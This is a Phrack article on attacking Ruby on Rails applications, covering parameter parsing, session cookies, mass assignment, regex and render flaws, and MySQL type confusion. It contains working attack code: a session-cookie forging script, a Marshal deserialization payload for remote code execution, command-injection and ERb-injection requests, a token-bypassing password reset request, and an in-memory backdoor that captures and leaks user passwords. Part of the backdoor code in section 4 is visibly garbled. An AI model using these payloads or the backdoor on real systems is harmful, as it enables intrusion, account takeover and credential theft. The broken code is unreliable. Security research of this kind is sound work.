==Phrack Inc.== Volume 0x0f, Issue 0x45, Phile #0x0c of 0x10 |=-----------------------------------------------------------------------=| |=--------------=[ Attacking Ruby on Rails Applications ]=---------------=| |=-----------------------------------------------------------------------=| |=---------------------=[ joernchen of Phenoelit ]=----------------------=| |=---------------------=[ joernchen@phenoelit.de ]=----------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 0 - Intro 1 - A Brief Overview 1.1 - User input 1.1.1 - POST/PUT/GET application/x-www-form-urlencoded 1.1.2 - Multiparameter attributes 1.1.3 - POST/PUT text/xml 1.1.4 - POST/PUT application/json 1.1.5 - GET vs. POST/PUT 2 - Common pitfalls 2.1 - Sessions 2.2 - to_json / to_xml 2.3 - Code / Command Execution 2.3.1 - Classical OS Command Injection 2.3.2 - eval(user_input) and Friends 2.3.3 - Indirections 2.4 - Mass assignments 2.5 - Regular Expressions 2.6 - Renderers 2.7 - Routing 3 - My favourite technique - CVE-2013-3221 4 - Notes on Code Injection Payloads 5 - Greetz and <3 A - References --[ 0 - Intro This little article aims to give an introduction to the topic of attacking Ruby on Rails applications. It's neither complete nor dropping 0day. It's rather the authors attempt to accumulate the interesting attack paths and techniques in one write up. As yours truly spend most of his work on Ruby on Rails applications in the time when Rails version 3 was current, some of the described techniques are not applicable to Rails 4 any more. However there is still a broad attack surface of older applications as migrating Rails code up one or two version appears to be a real pain in the ass for lager projects (if you doubt this ask your local Rails startup peeps :) ). --[ 1 - A Brief Overview Basically Ruby on Rails [0] is a Model-View-Controller (MVC) based web application framework. It's overloaded with functionality, and this functionality is what at the end of the day introduces the fine bugs we all are looking for. MVC is a software design pattern, which just says roughly the following: The model is where the data lives, along with the business logic. So the model is an abstraction to the database. The view is what you see, like the HTML templates which get rendered. The controller itself is, what you interact with. It takes requests and decides upon them what to do with the data which were submitted. This architecture is reflected in Rails on the file system, a sample application's directory structure would look like this: . |-- app |here lives the applications main code | |-- assets | | |-- images | | |-- javascripts | | `-- stylesheets | |-- controllers |here live the controllers | |-- helpers | |-- mailers | |-- models |this is where the models live | `-- views |and finally here are the views | `-- layouts |-- config |yummy config files | |-- environments | |-- initializers | `-- locales |-- db |-- doc |-- lib |more code | |-- assets | `-- tasks |-- log |-- public |static content |-- script |-- test | /* */ | |-- fixtures | |-- functional | |-- integration | |-- performance | `-- unit |-- tmp | `-- cache | `-- assets `-- vendor |-- assets | |-- javascripts | `-- stylesheets `-- plugins |here might be bugs too The point of first attention here is the ./app/ directory, this is where controllers, models and views live. It has to be noted that the MVC design pattern, even tough it's implied by the filesystem layout of a fresh Rails application, is not enforced by Ruby on Rails in any way. For instance a developer might just put parts of the business logic into the view instead of into the model. --[ 1.1 - User input The following sub-sections will cover the various kinds of user input a Rails application will understand and parse. The most prominent input vector for a Rails application is usually the params hash, which is described in detail below. --[ 1.1.1 - POST/PUT/GET application/x-www-form-urlencoded The params hash (hash is Ruby slang for an associative array) holds the request parameters in Rails. So parameters that are POSTed like this: username=hacker&password=happy will yield a params hash like the following: params = {"username"=>"hacker","password"=>"happy"} Lots of magic is involved within Rails' parameter parsing. POST parameters encoded as application/x-www-form-urlencoded or regular GET parameters can encode arrays like this: user[]=Phrack&user[]=rulez The resulting params hash is in this case: params {"user" => ["Phrack","rulez"]} Encoding sub-hashes in the params hash is also possible: user[name]=hacker&user[password]=happy The above will result in params being the following: params = {"user"=>{"name"=>"hacker","password"=>"happy"}} Besides strings with the basic GET/POST parameters it is also possible to encode a Ruby nil value in this way: user[name] by leaving out the = and a value the resulting hash looks like: params = {"user"=>{"name"=>nil}} --[ 1.1.2 - Multiparameter attributes When a single parameter has to carry multiple values in one attribute those can be encoded in simple POST and GET requests as well. Those so called multiparameters look like the following: user[mulitparam(1)]=first_val&user[mulitparam(2)]=second_val&[...] &user[mulitparam(n)]=nth_val Also valid is a multiparameter assignment with a single parameter like: user[name(1)]=HappyHacker Internally the values (1)..(n) will be converted into an array and this array will be assigned to the attribute. This is rarely to be seen in real world code, however useful for instance when it comes to e.g. timestamps: post[date(1)]=1985&post[date(2)]=11&post[date(3)]=17 Where the above example would assign year, month and day of the post[date] parameter in a multiparameter attribute called date. --[ 1.1.3 - POST/PUT text/xml Besides the usual POST/PUT parameters Rails typically also understands XML input. This however was removed within the Rails 4 release [1]. With XML encoded parameters there are various typecasting possibilities. Here is an excerpt from the responsible parser (rails/activesupport/lib/active_support/xml_mini.rb): PARSING = { "symbol" => Proc.new { |symbol| symbol.to_sym }, "date" => Proc.new { |date| ::Date.parse(date) }, "datetime" => Proc.new { |time| ::Time.parse(time).utc rescue ::DateTime.parse(time).utc }, "integer" => Proc.new { |integer| integer.to_i }, "float" => Proc.new { |float| float.to_f }, "decimal" => Proc.new { |number| BigDecimal(number) }, "boolean" => Proc.new { |boolean| %w(1 true).include?(boolean.strip) }, "string" => Proc.new { |string| string.to_s }, "yaml" => Proc.new { |yaml| YAML::load(yaml) rescue yaml }, "base64Binary" => Proc.new { |bin| ActiveSupport::Base64.decode64(bin) }, "binary" => Proc.new { |bin, entity| _parse_binary(bin, entity) }, "file" => Proc.new { |file, entity| _parse_file(file, entity) } } PARSING.update( "double" => PARSING["float"], "dateTime" => PARSING["datetime"] ) So if a boolean value should be contained in a POSTed variable within the params hash, this XML POSTed with Content-Type: text/xml will achieve it: true The params hash from the above POSTed XML would be: params = {"user"=>{"admin"=>true}} At this point it has to be noted that the conversions for the types "symbol" and "yaml" have been blacklisted since CVE-2013-0156. This CVE is actually the most impactful on RoR. Due to YAML being able to create arbitrary Ruby objects it was possible to gain code execution with just a single POST request, pretty similar to the sessions issue described in 2.1. Symbols have been removed from the conversion simply due to the fact, that they won't get garbage collected a runtime, therefore being useful for e.g. memory exhaustion attacks. There are two more supported types which are not listed above, they rather are defined in rails/activesupport/lib/active_support/core_ext/hash/conversions.rb. Those two types are "hash" and "array". A hash is pretty simple to put up in XML. It needs to be POSTed like this: hacker The above XML will result in this hash: params = {"user"=>{"name"=>"hacker"}} Arrays with typed XML are assembled together like the following: some value some other value which will yield: params = {"a"=>["some value","some other value"]} Furthermore nil can be encoded this way which results in this params hash: {"a"=>nil} --[ 1.1.4 - POST/PUT application/json JSON input POSTed with the Content-Type of application/json can't encode as many object types as XML, but the following types are defined per the JSON specification: * String * Object (which will be a hash in Ruby) * Number * Array * True * False * Null (which will be nil in Ruby) Before the Rails patches for the CVEs 2013-0333 and 2013-0268 it was possible to encode arbitrary Objects in JSON, the details on CVE-2013-0333 will be discussed in section 3.3. With a POST request containing the following JSON payload: {"a":["string",1,true,false,null,{"hash":"value"}]} a params hash of: params = {"a"=>["string", 1, true, false, nil, {"hash"=>"value"}]} will be generated. --[ 1.1.5 - GET vs. POST/PUT By default it's even possible to send application/json and text/xml typed parameters within a GET request, by simply issuing a GET request with an according Content-Type, a proper Content-Length as well as the actual request body. For instance: curl -X GET http://somerailsapp/ -H "Content-type: application/json" \ --data '{"a":"z"}' Additional magic is buried in the _method parameter when used in a POST request. For instance the following POST request will be interpreted as PUT: curl -X POST http://somerailsapp/?_method=PUT --data 'somedata' So setting _method in a POST request to a legal HTTP verb will let Rails interpret the POST as what _method is set to (GET,PUT, etc.). --[ 2 - Common pitfalls With the knowledge of various ways to encode our mali^W well crafted input for a Rails application, let's have a look at patterns of "what could possibly go wrong?". This section will elaborate some of the nasty side effects introduced by rather common coding practices in Ruby on Rails. Of course it will also be explained how to use those side effects in order to extend the functionality of an affected application. --[ 2.1 - Sessions By default Rails stores the sessions client-side within a cookie. The whole session hash gets serialized (also encrypted in Rails 4) and HMACed (in Rails 3 and 4) in order to be tamper-resistant. Since Rails 4.1 the format for serialization used is JSON encoding. Before that version it used to be Ruby's own serialization format called Marshal. Marshaled ruby objects look like this: irb(main):001:0> foo = ["Some funky string",{"a hash"=>1337}] => ["Some funky string", {"a hash"=>1337}] irb(main):002:0> Marshal.dump foo => "\x04\b[\aI\"\x16Some funky string\x06:\x06ET{\x06I\"\va hash\x06;\x00Ti\x029\x05" It's basically a TLV serialization format, which can encode almost arbitrary Ruby Objects. The secret key to the HMAC/encryption might be stored in various locations depending on the Rails version it might be found in the following files: * config/environment.rb * config/initializers/secret_token.rb * config/secrets.yml * /proc/self/environ (if it's just given via an ENV variable) In rare cases it might be found somewhere completely different. But the best place to look for Rails cookie secrets is Open Source code checked into public repositories. Once revealed to a curious hacker the cookie signing/encryption secret offers a broad amount of fun to have with it. First of all session tampering is possible, as we are able to sign/encrypt arbitrary session data. Typically (when no special authentication GEMs are used) the user_id of the currently logged in user is serialized into the session. So it's pretty much a piece of cake to serialize the user_id of any other user into the cookie using the following simple script: #!/usr/bin/env ruby # Sign a cookie in RoR style (Rails Version <=3.x only) require 'base64' require 'openssl' require 'optparse' banner = "Usage: #{$0} -k KEY [-c COOKIE]\n" + "Cookie is a raw ruby expression like '{:user_id => 1}'" hashtype = 'SHA1' key = nil cookie = {"user_id"=>1} opts = OptionParser.new do |opts| opts.banner = banner opts.on("-k", "--key KEY") do |h| key = h end opts.on("-c", "--cookie COOKIE") do |w| cookie = w end end begin opts.parse!(ARGV) rescue Exception => e puts e, "", opts exit end if key.nil? puts banner exit end cook = Base64.strict_encode64(Marshal.dump(eval("#{cookie}"))).chomp digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(hashtype), key, cook) puts("#{cook}--#{digest}") The secret_token is not only usable for session tampering, it can even be used for remote command execution. The following Ruby method will generate a code-executing session cookie (this is Rails 3 specific payload, but the same principle works with Rails 4 with slight modifications): def build_cookie code = "eval('whatever ruby code')" marshal_payload = Rex::Text.encode_base64( "\x04\x08" + "o" + ":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" + "\x07" + ":\x0E@instance" + "o" + ":\x08ERB" + "\x06" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0C@method" + ":\x0Bresult" ).chomp digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), SECRET_TOKEN, marshal_payload) marshal_payload = Rex::Text.uri_encode(marshal_payload) "#{marshal_payload}--#{digest}" end For details on the Rails 4 version and more convenient use of the vector the exploits/multi/http/rails_secret_deserialization module in Metasploit is recommend reading/using. The above code serializes an object in Rubys' Marshal format and then HMACs the serialized data. The object that is serialized is an instance of ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy which is defined as the following: class DeprecatedInstanceVariableProxy < DeprecationProxy def initialize(instance, method, var = "@#{method}", deprecator = ActiveSupport::Deprecation.instance) @instance = instance @method = method @var = var @deprecator = deprecator end private def target @instance.__send__(@method) end def warn(callstack, called, args) @deprecator.warn( "#{@var} is deprecated! Call #{@method}.#{called} instead of " + "#{@var}.#{called}. Args: #{args.inspect}", callstack) end end DeprecatedInstanceVariableProxy again inherits from DeprecationProxy, which defines the following interesting method: def method_missing(called, *args, &block) warn caller, called, args target.__send__(called, *args, &block) end as well as undefines some methods: instance_methods.each { |m| undef_method m unless m =~ /^__|^object_id$/ } Inside this DeprecatedInstanceVariableProxy an ERB object is placed asA "instance", and "method" is set to "result". ERB stands for embedded Ruby and is in RoR to have HTML templates including Ruby code, so basically ERB is used for the views in a Rails application. The "src" variable for this ERB object is an arbitrary string of Ruby code. After deserialization and construction of the two nested objects the following will happen: The above mentioned interesting method called method_missing is an expression of Ruby magic. When an object defines a method_missing this method will be called whenever a method on the object is called which does not exist (is missing). As soon as any method on the deserialized object is called, this will be passed to "method_missing" as (almost) all instance methods have been undefined. "method_missing" will now first call "warn" and afterwards call target which will send the method "result" to the ERB object. "result" will interpret and the code attached in the ERB object as "src". The following irb snippet demonstrates this behavior: 1.9.3p194 :001 > require 'rails/all' => true 1.9.3p194 :002 > Marshal.load( "\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+ "\a:\u000E@instanceo:\bERB\u0006:\t@srcI\"\u0018eval('puts \"ohai\"')"+ "\u0006:\u0006ET:\f@method:\vresult") ohai => nil Credits for the above technique go to Charlie Somerville. Since Rails 4.1 this vector is not usable anymore, due to the fact that JSON encoding is used to serialize the session. Actually thats not entirely true, as there is of course backward compatibility for legacy session cookies. Those legacy cookies are taken into account if in a Rails App >= Version 4.1 a secret_token is defined together with the new secret_key_base. Or if there is only a secret_token but no secret_key_base, which might be the case if you upgrade your App from Rails 3.something to 4.1 or later. You can tell that you're dealing with a legacy cookie if the cookie value starts with "BAh" which Base64 decodes to the Marshal header. If the session's secret is not known, there is still some room to fail, so for example let's say an appliance by BigVendor has a RoR Webinterface, and additionally stores the currently logged in users' ID in the session. Now the BigVendor has a little problem if the session secret is the same on all appliances. If user admin A of appliance A' has a session cookie for it's user_id 1 on A', it's a legit session cookie for appliance B' where admin B has user_id 1 as well (the ID is typically incremental starting from 1 and admin is usually created first). To paraphrase this: "What has been HMACed cannot be un-HMACED". --[ 2.2 - to_json / to_xml Within Rails the scaffolding process generates automatic XML and JSON renderers. Those include by default all attributes of the model. A neat showcase for this behavior is documented in [3] where a simple authenticated request of http://demo.fatfreecrm.com/users/1.json yielded the following json output: { "user": { "admin": true, "aim": "", "alt_email": "", "company": "example", "created_at": "2012-02-12T02:00:00+02:00", "current_login_at": "2013-08-26T22:12:05+03:00", "current_login_ip": "61.143.60.146", "deleted_at": null, "email": "aaron@example.com", "first_name": "Aaron", "google": "", "id": 1, "last_login_at": "2013-08-24T22:20:06+03:00", "last_login_ip": "122.173.185.99", "last_name": "Assembler", "last_request_at": "2013-08-26T22:13:35+03:00", "login_count": 481, "mobile": "(800)555-1211", "password_hash": "[...]", "password_salt": "[...]", "perishable_token": "NE0n6wUCumVNdQ24ahRu", "persistence_token": "...", "phone": "(800)555-1210", "single_access_token": "TarXlrOPfaokNOzls2U8", "skype": "ranzitreddy", "suspended_at": null, "title": "VP of Sales", "updated_at": "2013-08-26T22:13:35+03:00", "username": "aaron", "yahoo": "" } } The format parameter could, depending on the actual app's routes be either just a appended .json/.xml or a query parameter "format=json"/"format=xml" within the URL. In some rarely but seen in the wild cases there are even "format=js" renderes which yield vulnerabilities. Imagine a user's inbox at: http://some.host/inbox/messages When here the JavaScript renderer emits e.g. JQuery framgents like: $("#messages").hmtl("here goes the user's inbox") We just might include on a third party website and leak the users' inbox. This is pretty much the same concept like a JSONP leak. --[ 2.3 - Code / Command Execution Now off to the real fun: different ways to execute your code on other people's web servers. --[ 2.3.1 - Classical OS Command Injection The classical command injection patterns of course also apply to Ruby on Rails applications. Things to watch out for include: * `command` * %x/command/ * IO.popen(command) * Kernel.exec * Kernel.system * Kernel.open("| command") This list is not complete in any way, as there are many other Rubygems implementing wrappers around those functions (also maybe I've just missed for instance open3 in this list). As the average Phrack reader should be pretty familiar with the concept of OS command injection flaws we do not bother to further elaborate on this type of issue ;P. A little sidenote on Kernel.open(): when the first character in the argument to Kernel.open is a pipe, the method basically behaves like popen. And the rest of the string after the pipe is taken as a command line. --[ 2.3.2 - eval(user_input) and Friends Things get a bit more interesting when it comes to RoR constructs which end up in eval()ing user input. Here, due to Rubys' endless possibilities of dynamic programming and monkey patching, things get a bit more interesting. Hints on how to utilize in-framework code execution are given in section 4. With the following methods we can evalute nifty payloads within the apps' runtime/environment: * eval within the current context * instance_eval within the context of the current instance of a class * class_eval within the context of a class itself In occurrences of such in-framework evaluation of attacker-given inputs, we can pretty much redefine and access anything within the application. --[ 2.3.3 Indirections Another fun thing when it comes to monkey patching and dynamic (hooray!) programming are indirections introduced by calling one of the following methods on user input: * send * __send__ * public_send * try What send et.al. do is calling a method denoted by the first parameter, which might be a string or a symbol, and passing the further arguments to the called method. So imagine (this is actually not too imaginary [4]) the following construct: send(params[:a],params[:b]) Easy enough we can turn this into in-Framework RCE by supplying: a=eval&b=whatever%20ruby%20code%20we%20like The main differences between the above listed methods are: * send and __send__: none * send and try: try is defined within Rails and just silently drops all exceptions which might occur * public_send will only call public methods on an object The limitation of public_send however can be bypassed as send itself is public: irb(main):002:0> "".public_methods.grep /send/ => [:send, :public_send, :__send__] The above construction of having at least two, and most importantly the first argument to __send__ under control however is rather rare. Mostly you will see the code like: Thing.send(:hard_coded_method_name, params[someparam]) As the method to be called is hard coded we cannot leverage arbitrary code execution unfortunately. --[ 2.4 - Mass assignments Mass assignments were a pretty popular exploit target in Rails 3. The underlying concept is, that the application assigns arbitrary values of the model when being saved: app/controller/users_controller.rb: def update @user = User.find(params[:id]) respond_to do |format| if @user.update_attributes(params[:user]) If the User model has e.g. an "admin" attribute any user might promote themselves to admin by just posting that attribute towards to the application. A common malpractice which tries to prevent Mass Assignments is shown in the code sample below: app/controller/users_controller.rb: def update @user = User.find(params[:id]) params[:user].delete(:admin) # make sure to protect admin flag respond_to do |format| if @user.update_attributes(params[:user]) [...] Within this controller and the usage of Multiparameter Attributes as introduced in section 1.4.2 we can bypass the params[:user].delete(:admin) sanitization as with the following payload: user[admin(1)]=true As the multiparameter attribute gets parsed in user.update_attributes, the protection params[:user].delete(:admin) will not catch the user[admin(1)] attribute, allowing us to elevate our privileges. This is simply due to the fact that the parameter within the controller will be "admin(1)" as in contrast to "admin", the actual assignment of admin(1) to the admin flag happens in the update_attributes call. The proper way to prevent attributes from being automatically assigned within Rails 3.x would be the usage of attr_accessible to define which attributes are whitelisted for mass assignment. --[ 2.5 - Regular Expressions Ruby has a special handling of regular expressions, the regexps are matching by default in multi-line mode. This is not the case for instance in Perl or other programming languages. To demonstrate this behavior compare the two command lines below: $ perl -e '$a="foo\nbar"; $a =~ /^foo$/ ? print "match" : \ print "no match"' no match $ ruby -e 'a="foo\nbar"; if a =~ /^foo$/; puts "match"; \ else puts "no match"; end' match The string "foo\nbar" does not match the regular expression /^foo$/ in the Perl code snippet, it is matching in the Ruby code snippet. The main problem with this regular expression handling is that quite a lot of developers are not aware of this subtle difference. This results in improper checks and validations. As an example the controller below comes close to what can be observed in real world code (the regex is somewhat simplified here): class PingController < ApplicationController def ping if params[:ip] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/ render :text => `ping -c 4 #{params[:ip]}` else render :text => "Invalid IP" end end end The developer's expectation is to match only numbers and dots within the above IP address validation. But due to the default multi line mode of Ruby's regular expression parser the above check can be circumvented by a string like "1.2.3.4.\nsomething". The $ in the above regex would stop at \n therefore the above code is command injectable with a simple request like this: $ curl localhost:3000/ping/ping -H "Content-Type: application/json" \ --data '{"ip" : "127.0.0.999\n id"}' Instead of using ^ and $ \A and \z should be used to match the beginning and end of the string, rather than the beginning or end of the line. Another common usecase of this RegEx behavior is the verification of user given links. So for instance the RegEx /^https?:\/\// is bypassable by supplying a link like: "javascript:alert('lol')/*\nhttp://*/" (note the newline) When this input is rendered into a href attribute of an anchor tag, we've gotten a straight froward Cross-Site Scripting. --[ 2.6 Renderers The render statement in RoR is used to render different templates or just plain text towards the users Browser like: render text: "Ohai World!" If we are in the lucky postition to see something like this: render params[:t] We are able to inject ERb content by supplying a parameter t of: t[inline]=<%=`id`%> curl 'localhost:3000/?&t\[inline\]=%3c%25=%60id%60%25%3e' This works due to the fact that the render statement takes a hash as argument which will be in the above case: inline: "<%=`id`%>" Where the inline renderer expects an ERb string. Et voila here we go with user supplied code to be executed. --[ 2.7 Routing The file config/routes.rb describes which Controllers are reachable under which path and HTTP verb, so for instance: post "user/add" => "users#add_user" would expose the method add_user from the UsersController at the path '/users/add' via a Post request. A common mistake however is a default catch-all route like the following: match ':controller(/:action(/:id))(.:format)', via: [:get, :post] This would expose every public method from every Controller being accessible both via GET and POST requests. The main problem with such a catch-all route is, that it completely subverts the RoR CSRF protection, as GET requests are assumed to be not state changing, and therefore are white-listed within the CSRF protection. So in the above example with the two given routes an attacker would just CSRF something like: http://vict.im/user/add?user[name]=haxx0r&user[password]=h4x0rp455& user[admin]=1 In order to subvert the CSRF protection which was intended by the 'post' statement in the routes. --[ 3 - My favourite technique - CVE-2013-3221 This section is dedicated to my favourite RoR attack technique, which was initially NOT addressed by issuing CVE-2013-3221. The issue described in CVE-2013-3221 is a neat way to abuse MySQL's automagic type conversion in order to e.g. reset arbitrary passwords within some Ruby on Rails applications (including but not limited to the BlackHat CFP Review System [5]). Let's first have a look at MySQL and how it compares numbers to strings: mysql> SELECT 123 FROM dual WHERE 1=1; +-----+ | 123 | +-----+ | 123 | +-----+ 1 row in set (0.00 sec) mysql> SELECT 123 FROM dual WHERE 1="1"; +-----+ | 123 | +-----+ | 123 | +-----+ 1 row in set (0.00 sec) mysql> SELECT 123 FROM dual WHERE 1="1somestring"; +-----+ | 123 | +-----+ | 123 | +-----+ 1 row in set, 1 warning (0.00 sec) mysql> SELECT 123 FROM dual WHERE 1="somestring"; Empty set, 1 warning (0.00 sec) mysql> SELECT 123 FROM dual WHERE 0="somestring"; +-----+ | 123 | +-----+ | 123 | +-----+ 1 row in set, 1 warning (0.00 sec) A pretty common technique for password resets in web applications is to send out a token via email to the user. This token lets the user reset the password right away. In Ruby on Rails such a reset process would roughly look like this: # PasswordController def reset user = User.find_by_token(params[:user][:token]) if user #reset password here end end Such a token like the one pulled out of params in the code above typically is a random string, for now let's just assume this string is "IAmARandomToken". Given the knowledge about the MySQL typecasting plus the facts about JSON/XML input described in section 1.1.3 & 1.1.4 we can conduct an actual attack on this pattern. MySQL would match the string "IAmARandomToken" with the number 0 so a possible exploit would look like: curl http://phrack.org/password/reset \ -H 'Content-Type: application/json' \ --data '{"user":{"token":0,"pass":"omghaxx","pass_confirm":"omghaxx"}}' This attack vector got addressed with a security announcement [6] which said it will be fixed somewhen later. A little anecdote on this issue: A couple of days after the advisory the issue was "fixed" in Rails 3.2.12 as by the following commit [7], no further advisory was released for this issue. The fix in 3.2.12 was first of all incomplete due to the fact that it was bypassable by POSTing an array of numbers instead of a single number. Secondly Rails went back to the original behaviour with the release of 3.2.13. Indeed the vector is completely fixed as of Rails 4.2 almost two years after the original advisory. --[ 4 - Notes on Code Injection Payloads The wonderful world of Ruby on Rails gives us, in case of in-framework code injection, a lot of toys to play with. As the whole framework is available to the attacker its' whole featureset might be utilized. This starts with very simple but convenient things: In 2.1 code execution via unmarshalling of the session cookie was elaborated. A very handy data exfiltration technique for small (<4K) amounts of data is using the session cookie itself to carry the exfiltrated data out [/* Eat this, WAF */]. The to-be-executed payload to use this technique would roughly be the following: lootit=< 1337}) enckey = keygen.generate_key('encrypted hacker') sigkey = keygen.generate_key('signed encrypted hacker') crypter = ActiveSupport::MessageEncryptor.new(enckey, sigkey,{:serializer => ActiveSupport::MessageEncryptor::NullSerializer }) if Digest::SHA1.hexdigest(session["session_id"].to_s) == @@triggerword render :text => crypter.encrypt_and_sign(JSON.dump(@@passwordsgohere)) @@passwordsgohere = [] end end before_filter :logallthepasswords before_filter :leakallthepasswords DEVISE The above code, when RCEd into a Ruby on Rails application using devise will introduce two filters in the apps login Controller, one filter called logallthepasswords which keeps every password and username in memory upon login. Secondly the leakallthepasswords filter will dump those passwords upon seeing a specific session id and flush them from memory. Key takeaway here (which does not only apply to RoR applications) is actually the fact that we can model our own little application within some target app pretty much freely when using eval() or session cookie based RCE payloads. Another fun fact about this is the circumstance that the payload will reside in memory. Once the app is shut down your payload is gone. And by giving up the persistence we will pretty likely win against the forensics guy. --[ 5 - Greetz and <3 In no particular order: astera, greg (thx for kicking my ass), FX, nowin, fabs, opti, tina, matteng, RL, HDM, charliesome, both Bens (M. and T.), larry0 (Gemkiller). The award for endless patience with this little writeup goes to the Phrack Staff obviously ;). --[ A - References [0] http://rubyonrails.org [1] https://github.com/rails/rails/commit/ c9909db9f2f81575ef2ea2ed3b4e8743c8d6f1b9 [3] http://www.phenoelit.org/stuff/ffcrm.txt [4] https://github.com/rapid7/metasploit-framework/blob/master/modules/ exploits/multi/http/spree_searchlogic_exec.rb [5] https://www.blackhat.com/latestintel/04302014-poc-in-the-cfp.html [6] https://groups.google.com/group/rubyonrails-security/browse_thread/ thread/64e747e461f98c25 [7] https://github.com/rails/rails/commit/ 921a296a3390192a71abeec6d9a035cc6d1865c8 [8] https://github.com/joernchen/DeviseDoor